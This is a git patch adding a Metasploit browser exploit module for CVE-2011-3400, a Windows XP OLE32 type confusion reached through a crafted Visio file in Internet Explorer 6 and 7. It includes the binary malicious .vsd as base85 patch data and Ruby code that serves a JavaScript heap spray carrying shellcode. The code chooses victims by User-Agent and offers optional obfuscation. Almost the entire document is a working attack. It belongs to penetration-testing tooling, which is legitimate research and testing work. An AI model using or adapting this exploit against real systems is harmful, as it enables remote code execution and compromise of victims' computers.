From 93741770e2743b887dd655d17c748b7828fee32f Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 5 Jun 2012 18:21:55 +0200 Subject: [PATCH] Added module for CVE-2011-3400 --- data/exploits/CVE-2011-3400/CVE-2011-3400.vsd | Bin 0 -> 26720 bytes .../windows/browser/ms11_093_ole32.rb | 186 ++++++++++++++++++ 2 files changed, 186 insertions(+) create mode 100644 data/exploits/CVE-2011-3400/CVE-2011-3400.vsd create mode 100644 modules/exploits/windows/browser/ms11_093_ole32.rb diff --git a/data/exploits/CVE-2011-3400/CVE-2011-3400.vsd b/data/exploits/CVE-2011-3400/CVE-2011-3400.vsd new file mode 100644 index 0000000000000000000000000000000000000000..b7b8116d3d54259080beda14c45430df5998c966 GIT binary patch literal 26720 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

j;lwk&564r&YWF+SCTVHdi{G5cMpYEBiJ&r2 z4qR-;eo7qJf#a#+%Ki4X?X}GomP`LQp;`9?L9MT|YHW7kzyS_ree8M@kli*aZPe_o zv%Pf)vE4sTz84`;);yq2-gEb+yS)t|4H}vg>VIjo%2#GJXL6?h%T6%W?zDjgNAD@U##0ZvL-q63`VAFLxsMb8{DPI`sT zuS7X@zRrVLF>0q^wAT4!qIT+hod>gG)K0-@t@Fo3?bP`?4`#)vor2L?=Z|@J+DU#x zQoekYB7gAIUN;*;cv->Nm0%TE4c36QU>#TwHh?dKuK@XN$Bp1_unBAi_kgd0d%=BR z3-}t?3gowD?+4q#*Ma;F=r_PO!A|f1co6IY-vYbAx4|B;7d!;M1NMQ3!6V?i;8Cz2 zJO&;I2f#tl1ilBJ0EfVn;QQb(I0BvmKL9@jN5L_09Q+9U82kjB06zuI;Ah|@I0b$V zo(9i=Ux3q~1^g2H3j7*83!VeN0sL8kaTc5dzXiVo&x7BCKY;U~6}$jm1b+lCfj@yi zgA3py_zU "Microsoft Windows OLE Object File Handling Remote Code Execution", + 'Description' => %q{ + This module exploits a type confusion vulnerability in the OLE32 component of + Windows XP SP3. The vulnerability exists in the CPropertyStorage::ReadMultiple + function. + + A Visio document with a specially crafted Summary Information Stream embedded allows + to get remote code execution through Internet Explorer, on systems with Visio Viewer + installed. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Luigi Auriemma ', # Vulnerability discovery and PoC + 'juan vazquez' # Metasploit module + ], + 'References' => + [ + [ 'CVE', '2011-3400' ], + [ 'OSVDB', '77663'], + [ 'BID', '50977' ], + [ 'URL', 'http://aluigi.org/adv/ole32_1-adv.txt' ], + [ 'URL', 'http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?id=966' ] + ], + 'Payload' => + { + 'Space' => 1000, + 'BadChars' => "\x00", + 'DisableNops' => true + }, + 'DefaultOptions' => + { + 'InitialAutoRunScript' => 'migrate -f' + }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'Automatic', {} ], + [ + 'IE 6 on Windows XP SP3 / Visio Viewer 2010', + { + 'Rop' => nil, + 'Offset' => '0x7ee - code.length', + 'PtrToHeap' => "\x35\x40" # Pointer from IEXPLORE.exe PE header + } + ], + [ + 'IE 7 on Windows XP SP3 / Visio Viewer 2010', + { + 'Rop' => nil, + 'Offset' => '0x7ee - code.length', + 'PtrToHeap' => "\x35\x40" # Pointer from IEXPLORE.exe PE header + } + ] + ], + 'Privileged' => false, + 'DisclosureDate' => "Dec 13 2011", + 'DefaultTarget' => 0)) + + register_options( + [ + OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) + ], self.class) + + end + + def get_target(agent) + # If the user is already specified by the user, we'll just use that + return target if target.name != 'Automatic' + + if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/ + return targets[1] # IE 6 on Windows XP SP3 + elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/ + return targets[2] # IE 7 on Windows XP SP3 + else + return nil + end + end + + def exploit + @vsd = create_vsd + super + end + + def on_request_uri(cli, request) + + agent = request.headers['User-Agent'] + my_target = get_target(agent) + + # Avoid the attack if the victim doesn't have the same setup we're targeting + if my_target.nil? + print_error("Browser not supported: #{agent}") + send_not_found(cli) + return + end + + print_status("Client requesting: #{request.uri}") + + if request.uri =~ /\.vsd$/ + @vsd[5106, 2] = my_target['PtrToHeap'] + print_status("Sending Exploit VSD") + send_response(cli, @vsd, { 'Content-Type' => 'application/vnd.visio' }) + return + end + + p = payload.encoded + + js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch)) + js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch)) + + js_pivot = <<-JS + var heap_obj = new heapLib.ie(0x20000); + var code = unescape("#{js_code}"); + var nops = unescape("#{js_nops}"); + + while (nops.length < 0x80000) nops += nops; + var offset = nops.substring(0, #{my_target['Offset']}); + var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length); + + while (shellcode.length < 0x40000) shellcode += shellcode; + var block = shellcode.substring(0, (0x80000-6)/2); + + heap_obj.gc(); + for (var i=1; i < 0x1e0; i++) { + heap_obj.alloc(block); + } + JS + + js_pivot = heaplib(js_pivot, {:noobfu => true}) + + if datastore['OBFUSCATE'] + js_pivot = ::Rex::Exploitation::JSObfu.new(js_pivot) + js_pivot.obfuscate + end + + vsd_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource + vsd_uri << "/#{rand_text_alpha(rand(6)+3)}.vsd" + + html = %Q| + + + + + + + + + + + + | + + html = html.gsub(/^\t\t/, '') + + print_status("Sending html") + send_response(cli, html, {'Content-Type'=>'text/html'}) + end + + def create_vsd + path = ::File.join( Msf::Config.install_root, "data", "exploits", "CVE-2011-3400", "CVE-2011-3400.vsd" ) + fd = ::File.open( path, "rb" ) + vsd = fd.read(fd.stat.size) + fd.close + return vsd + end + +end +